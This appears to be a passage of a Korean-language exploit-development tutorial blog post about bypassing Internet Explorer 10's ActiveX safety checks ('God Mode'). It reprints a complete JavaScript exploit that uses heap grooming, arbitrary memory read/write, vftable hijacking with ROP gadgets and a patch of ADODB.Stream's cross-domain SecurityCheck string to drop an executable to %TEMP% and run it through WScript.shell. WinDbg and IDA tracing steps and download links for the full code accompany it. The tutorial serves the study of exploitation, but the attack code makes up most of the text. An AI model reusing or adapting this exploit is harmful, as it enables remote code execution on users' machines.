8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x300; ++i) { a[i] = new Array(0x3c00); if (i == 0x100) buf = new ArrayBuffer(0x58); // must be exactly 0x58! for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } // 0x0: ArrayDataHead // 0x20: array[0] address // 0x24: array[1] address // ... // 0xf000: Int32Array // 0xf030: Int32Array // ... // 0xffc0: Int32Array // 0xfff0: align data for (; i < 0x300 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // vftptr // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020 // 0c0af020: 03133de0 array_len buf_addr // jsArrayBuf alert("Set byte at 0c0af01b to 0x20"); // Now let's find the Int32Array whose length we modified. int32array = 0; for (i = 0x300; i < 0x300 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58/4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { alert("Can't find int32array!"); window.location.reload(); return; } // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60/4], vftptr2 = int32array[0x60*2/4], vftptr3 = int32array[0x60*3/4], nextPtr1 = int32array[(0x60+0x24)/4], nextPtr2 = int32array[(0x60*2+0x24)/4], nextPtr3 = int32array[(0x60*3+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { alert("Error!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*2; // Now we modify int32array again to gain full address space read/write access. if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) { alert("Error!"); window.location.reload(); return; } int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address function read(address) { var k = address & 3; if (k == 0) { // #### return int32array[address/4]; } else { alert("to debug"); // .### #... or ..## ##.. or ...# ###. return (int32array[(address-k)/4] >> k*8) | (int32array[(address-k+4)/4] << (32 - k*8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // #### int32array[address/4] = value; } else { // .### #... or ..## ##.. or ...# ###. alert("to debug"); var low = int32array[(address-k)/4]; var high = int32array[(address-k+4)/4]; var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k*8); high = (high & (0xffffffff - mask)) | (value >> (32 - k*8)); int32array[(address-k)/4] = low; int32array[(address-k+4)/4] = high; } } //--------- // God mode //--------- // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 jscript9 = read(0x0c0af000) - 0x3b60; // Now we need to determine the base address of MSHTML. We can create an HTML // object and write its reference to the address 0x0c0af000-4 which corresponds // to the last element of one of our arrays. // Let's find the array at 0x0c0af000-4. for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // We write 3 in the last position of one of our arrays. IE encodes the number x // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart. // Either we use an odd number or a valid address otherwise IE will crash in the // following for loop. write(0x0c0af000-4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { leakArray[0x3bf7] = obj; return read(0x0c0af000-4, obj); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); mshtml = read(addr + 0x10) - 0x58b9a; // vftable // +-----> +------------------+ // | | | // | | | // | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 | // | | | MOV EAX,ESI | POP ESI | RETN" // | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4" // | +------------------+ // object | // EAX ---> +-------------------+ | // | vftptr |-----+ // | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN" // | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN" // | jscript9+0xdc361 | --> "LEAVE | RET 4" // +-------------------+ var old = read(mshtml+0xc555e0+0x14); write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On! var shell = new ActiveXObject("WScript.shell"); write(mshtml+0xc555e0+0x14, old); // God Mode Off! addr = get_addr(ActiveXObject); var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object var old_objptr = read(pp_obj); var old_vftptr = read(old_objptr); // Create the new vftable. var new_vftable = new Int32Array(0x708/4); for (var i = 0; i < new_vftable.length; ++i) new_vftable[i] = read(old_vftptr + i*4); new_vftable[0x10/4] = jscript9+0x10705e; new_vftable[0x14/4] = jscript9+0xdc164; var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable // Create the new object. var new_object = new Int32Array(4); new_object[0] = new_vftptr; new_object[1] = jscript9 + 0x15f800; new_object[2] = jscript9 + 0xf3baf; new_object[3] = jscript9 + 0xdc361; var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object function GodModeOn() { write(pp_obj, new_objptr); } function GodModeOff() { write(pp_obj, old_objptr); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists tStream.Close(); bStream.Close(); } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); createExe(fname, decode(runcalc)); shell.Exec(fname); alert("All done!"); })(); </script> </head> <body> </body> </html> | cs |
runcalc를 생략했는데 아래 링크에서 다운 받으시면 됩니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/05/code2.zip
크로스 도메인 (Cross Domains)
아래는 에러를 발생시키는 코드 중 하나입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); bStream.SaveToFile(fname, 2); <----------------------------- error here tStream.Close(); bStream.Close(); } | cs |
에러 메시지는 “SCRIPT3716: Safety setting on this computer prohibit accessing a data source on another domain.” 입니다. 따라서, 페이지를 SimpleServer를 이용하여 다시 불러오고 Int32Array 크기를 변경하여 코드에서 에러를 발생시킵니다. 그러면 몇몇 추가적인 모듈이 불려진 것을 볼 수 있습니다.
ModLoad: 0eb50000 0eb71000 C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000 C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000 C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000 C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000 C:\Program Files (x86)\Common Files\System\ado\msado15.dll <-------------
ModLoad: 72f00000 72f1f000 C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000 C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000 C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000 C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000 C:\Program Files (x86)\Common Files\System\ado\msader15.dll <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)
특히 2개의 모듈이 흥미롭습니다. msado15.dll, msader15.dll. 이들은 ado 디렉토리에 있는 모듈들 입니다. 이는 ADODB와 관련된 모듈들 입니다.
2개의 모듈 중 한개에서 SaveToFile 이름을 찾는 함수를 찾아보도록 합니다.
0:004> x msad*!*savetofile*
6e3e9ded msado15!CStream::SaveToFile (<no parameter info>)
6e3ccf19 msado15!CRecordset::SaveToFile (<no parameter info>)
첫 번째 함수가 우리가 찾는 함수 인것 같습니다. 여기에 breakpoint를 설정하고 다시 페이지를 불러옵니다. 그러면 실행이 msado15!CStream::SaveToFile에서 멈추게 됩니다. 함수 이름에서 유추해보면 이는 C++로 제작되었고 SaveToFile은 CStream 클래스의 메소드임을 알 수 있습니다. ESI는 클래스의 객체를 가리키고 있습니다.
0:007> dd esi
0edbb328 6e36fd28 6e36fd00 6e36fcf0 6e33acd8
0edbb338 00000004 00000000 00000000 00000000
0edbb348 00000000 00000000 00000000 6e36fce0
0edbb358 6e33acc0 6e36fccc 00000000 00000904
0edbb368 00000001 04e4c2bc 00000000 6e36fc94
0edbb378 0edbb3b8 00000000 0edbb490 00000000
0edbb388 00000001 ffffffff 00000000 00000000
0edbb398 00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(6e36fd28) msado15!ATL::CComObject<CStream>::`vftable' | (6e36fdb8) msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
msado15!ATL::CComObject<CStream>::`vftable' = <no type information>
보아하니 잘 추적한 것 같습니다.
이제 SaveToFile을 통해 어디서 실패하는지 찾아보도록 하겠습니다. 추적하는 도중 우연히 흥미로운 호출을 발견하였습니다.
6e3ea0a9 0f8496000000 je msado15!CStream::SaveToFile+0x358 (6e3ea145)
6e3ea0af 50 push eax
6e3ea0b0 53 push ebx
6e3ea0b1 e88f940000 call msado15!SecurityCheck (6e3f3545) <-------------------
6e3ea0b6 83c408 add esp,8
6e3ea0b9 85c0 test eax,eax
6e3ea0bb 0f8d84000000 jge msado15!CStream::SaveToFile+0x358 (6e3ea145)
SecurityCheck은 2개의 매개 변수를 받습니다. 먼저 첫 번째부터 확인해보도록 하겠습니다.
0:007> dd eax
04e4c2bc 00740068 00700074 002f003a 0031002f
04e4c2cc 00370032 0030002e 0030002e 0031002e
04e4c2dc 0000002f 00650067 00000000 6ff81c09
04e4c2ec 8c000000 000000e4 00000000 00000000
04e4c2fc 0024d46c 0024d46c 0024cff4 00000013
04e4c30c 00000000 0000ffff 0c000001 00000000
04e4c31c 00000000 6ff81c30 88000000 00000001
04e4c32c 0024eee4 00000000 6d74682f 61202c6c
음... 유니코드 문자열인 것 같습니다. 다시 살펴 보면 다음과 같습니다.
0:007> du eax
04e4c2bc "http://127.0.0.1/"
이것은 페이지의 URL 입니다! 그러면 ebx은 무었일까요?
0:007> dd ebx
001d30c4 003a0043 0055005c 00650073 00730072
001d30d4 0067005c 006e0061 00610064 0066006c
001d30e4 0041005c 00700070 00610044 00610074
001d30f4 004c005c 0063006f 006c0061 0054005c
001d3104 006d0065 005c0070 006f004c 005c0077
001d3114 00750072 0063006e 006c0061 002e0063
001d3124 00780065 00000065 00000000 00000000
001d3134 40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4 "C:\Users\gandalf\AppData\Local\T"
001d3104 "emp\Low\runcalc.exe"
이는 우리가 생성할 파일의 전체 경로입니다. 이 2개의 URL과 경로가 domain 에러 메시지와 관련이 있을까요? 아마 2개의 domain은 http://127.0.0.1과 C:\ 입니다.
아마도, SecurityCheck는 2개의 인자가 같은 domain인지 확인 하는 것 같습니다.
첫 번째 매개 변수를 수정하면 어떤일이 일어나는지 확인해보도록 하겠습니다.
0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc "C:\"
명령어 ezu는 (e)dit a (z)ero-terminated (u)nicode string 할 때 사용됩니다. 이제 두 번째 인자를 변경하고 실행을 재개 하여 어떤일이 일어나는지 보도록 합시다.
계산기가 떳습니다!! 예아!!
이제 이와 동일한 역할을 하는 것을 자바스크립트로 구현해야 합니다. 가능할까요? 가장 좋은 방법은 IDA로 msado15.dll을 디스어셈블하여 찾는 것 입니다. IDA에서 SecurityCheck (CTRL + P) 함수를 검색하고 SecurityCheck을 클릭한 뒤, CTRL + X를 누르고 CStream::SaveToFile을 더블클릭 합니다. SaveToFile 함수는 엄청 크긴 하지만 너무 걱정은 하지 맙시다. 우리는 여기서 작은 부분만을 분석해보도록 하죠. 두 번째 인자부터 시작해보도록 하겠습니다.
보시다시피, EAX는 [ESI + 44h]에서 오는 것을 볼 수 있습니다. ESI는 this 포인터로써, 현재CStream 객체를 가리키고 있지만 확실하게 해보도록 하겠습니다. 그래프를 좀더 편한하게 분석하기 위해, SecurityCheck을 호출하는 노드들을 모두 묶었습니다. 이를 위해 CTRL을 누른채로 마우스 휠로 줌 아웃을 하고 CTRL을 누른채로 마우스 왼쪽버튼으로 노드들을 선택한 뒤, 마우스 오른쪽 버튼을 눌러 Group nodes를 선택합니다. 아래는 축약된 그래프 입니다.
이를 통해 ESI가 명백히 this 포인터 임을 확인했습니다. 이게 좋은 이유는 자바스크립트에서 bStream 변수가 아마 같은 객체를 가리키고 있기 때문입니다. 우리가 맞는지 확인해보도록 하겠습니다. 이를 위해 자바스크립트 코드 수정을 통해 bStream을 노출시키도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); alert(get_addr(bStream).toString(16)); // <----------------------------- bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists tStream.Close(); bStream.Close(); } | cs |
SimpleServer를 이용하여 IE에서 페이지를 불러오고 WinDbg에서 SaveToFile에 breakpoint를 설정합니다.
bm msado15!CStream::SaveToFile
알림창에 bStream의 주소가 뜨게 됩니다. 제 경우에는 주소가 0x3663f40 입니다. 알림창을 닫으면 breakpoint가 실행됩니다. CStream의 주소가 ESI인데 제 경우에는 0xe8cb328 입니다. 메모리 주소 0x3663f40 (bStream)을 조사해보도록 합시다.
0:007> dd 3663f40h
03663f40 71bb34c8 0e069a00 00000000 0e5db030
03663f50 05a30f50 03663f14 032fafd4 00000000
03663f60 71c69a44 00000008 00000009 00000000
03663f70 0e8cb248 00000000 00000000 00000000
03663f80 71c69a44 00000008 00000009 00000000
03663f90 0e8cb328 00000000 00000000 00000000 <------------- ptr to CStream!
03663fa0 71c69a44 00000008 00000009 00000000
03663fb0 0e8cb248 00000000 00000000 00000000
오프셋 0x50을 보시면 msado15.dll에서 SaveToFile 메소드가 호출되는 CStream 객체 포인터를 갖음을 볼 수 있습니다. 우리가 수정해야 할 문자열 http://127.0.0.1에 도달하는지 확인해보도록 합시다.
0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14 "http://127.0.0.1/"
완벽하군요!
이제 우리가 원본 문자열에 써야할 정확한 바이트를 결정해야 합니다. 이를 위한 간단한 방식은 다음과 같습니다.
0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14 003a0043 0000005c 002f003a 0031002f
04e5ff24 00370032 0030002e 0030002e 0031002e
04e5ff34 0000002f 00000000 00000000 58e7b7b9
04e5ff44 8e000000 00000000 bf26faff 001a8001
04e5ff54 00784700 00440041 0044004f 002e0042
04e5ff64 00740053 00650072 006d0061 df6c0000
04e5ff74 0000027d 58e7b7be 8c000000 00000000
04e5ff84 00c6d95d 001c8001 00784300 00530057
따라서, 우리는 문자열을 003a0043 0000005c로 덮어 써야 합니다.
수정된 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists tStream.Close(); bStream.Close(); } | cs |
IE에서 페이지를 다시 불러오면 마침내 모든것이 정상적으로 동작합니다!
편의를 위해 완성된 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 | <html> <head> <script language="javascript"> (function() { alert("Starting!"); CollectGarbage(); //----------------------------------------------------- // From one-byte-write to full process space read/write //----------------------------------------------------- a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x300; ++i) { a[i] = new Array(0x3c00); if (i == 0x100) buf = new ArrayBuffer(0x58); // must be exactly 0x58! for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } // 0x0: ArrayDataHead // 0x20: array[0] address // 0x24: array[1] address // ... // 0xf000: Int32Array // 0xf030: Int32Array // ... // 0xffc0: Int32Array // 0xfff0: align data for (; i < 0x300 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // vftptr // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020 // 0c0af020: 03133de0 array_len buf_addr // jsArrayBuf alert("Set byte at 0c0af01b to 0x20"); // Now let's find the Int32Array whose length we modified. int32array = 0; for (i = 0x300; i < 0x300 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58/4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { alert("Can't find int32array!"); window.location.reload(); return; } // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60/4], vftptr2 = int32array[0x60*2/4], vftptr3 = int32array[0x60*3/4], nextPtr1 = int32array[(0x60+0x24)/4], nextPtr2 = int32array[(0x60*2+0x24)/4], nextPtr3 = int32array[(0x60*3+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { alert("Error!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*2; // Now we modify int32array again to gain full address space read/write access. if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) { alert("Error!"); window.location.reload(); return; } int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address function read(address) { var k = address & 3; if (k == 0) { // #### return int32array[address/4]; } else { alert("to debug"); // .### #... or ..## ##.. or ...# ###. return (int32array[(address-k)/4] >> k*8) | (int32array[(address-k+4)/4] << (32 - k*8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // #### int32array[address/4] = value; } else { // .### #... or ..## ##.. or ...# ###. alert("to debug"); var low = int32array[(address-k)/4]; var high = int32array[(address-k+4)/4]; var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k*8); high = (high & (0xffffffff - mask)) | (value >> (32 - k*8)); int32array[(address-k)/4] = low; int32array[(address-k+4)/4] = high; } } //--------- // God mode //--------- // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 jscript9 = read(0x0c0af000) - 0x3b60; // Now we need to determine the base address of MSHTML. We can create an HTML // object and write its reference to the address 0x0c0af000-4 which corresponds // to the last element of one of our arrays. // Let's find the array at 0x0c0af000-4. for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // We write 3 in the last position of one of our arrays. IE encodes the number x // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart. // Either we use an odd number or a valid address otherwise IE will crash in the // following for loop. write(0x0c0af000-4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { leakArray[0x3bf7] = obj; return read(0x0c0af000-4, obj); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); mshtml = read(addr + 0x10) - 0x58b9a; // vftable // +-----> +------------------+ // | | | // | | | // | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 | // | | | MOV EAX,ESI | POP ESI | RETN" // | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4" // | +------------------+ // object | // EAX ---> +-------------------+ | // | vftptr |-----+ // | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN" // | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN" // | jscript9+0xdc361 | --> "LEAVE | RET 4" // +-------------------+ var old = read(mshtml+0xc555e0+0x14); write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On! var shell = new ActiveXObject("WScript.shell"); write(mshtml+0xc555e0+0x14, old); // God Mode Off! addr = get_addr(ActiveXObject); var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object var old_objptr = read(pp_obj); var old_vftptr = read(old_objptr); // Create the new vftable. var new_vftable = new Int32Array(0x708/4); for (var i = 0; i < new_vftable.length; ++i) new_vftable[i] = read(old_vftptr + i*4); new_vftable[0x10/4] = jscript9+0x10705e; new_vftable[0x14/4] = jscript9+0xdc164; var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable // Create the new object. var new_object = new Int32Array(4); new_object[0] = new_vftptr; new_object[1] = jscript9 + 0x15f800; new_object[2] = jscript9 + 0xf3baf; new_object[3] = jscript9 + 0xdc361; var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object function GodModeOn() { write(pp_obj, new_objptr); } function GodModeOff() { write(pp_obj, old_objptr); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists tStream.Close(); bStream.Close(); } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); createExe(fname, decode(runcalc)); shell.Exec(fname); alert("All done!"); })(); </script> </head> <body> </body> </html> | cs |
이전과 동일하게 runcalc는 생략했습니다. 전체 코드는 아래 링크에서 다운받을 수 있습니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/05/code3.zip
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 18. IE 11 (Part 1) (1) | 2016.07.22 |
---|---|
[익스플로잇 개발] 17. IE 10 (Use-After-Free bug) (0) | 2016.07.22 |
[익스플로잇 개발] 15. IE 10 (God Mode 1) (0) | 2016.07.22 |
[익스플로잇 개발] 14. IE 10 (한 바이트 쓰기로 전체 메모리 읽기/쓰기) (3) | 2016.07.22 |
[익스플로잇 개발] 13. IE 10 (IE 리버싱) (0) | 2016.07.22 |
- Total
- Today
- Yesterday
- UAF
- IE 10 리버싱
- School CTF Write up
- heap spraying
- 쉘 코드 작성
- IE 11 exploit development
- CTF Write up
- IE 11 UAF
- IE 10 God Mode
- 윈도우즈 익스플로잇 개발
- IE 10 익스플로잇
- shellcode
- 쉘 코드
- TenDollar CTF
- shellcode writing
- IE 10 Exploit Development
- data mining
- TenDollar
- IE UAF
- expdev 번역
- 2015 School CTF
- Mona 2
- 2014 SU CTF Write UP
- IE 11 exploit
- Use after free
- 힙 스프레잉
- WinDbg
- School CTF Writeup
- Windows Exploit Development
- 데이터 마이닝
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |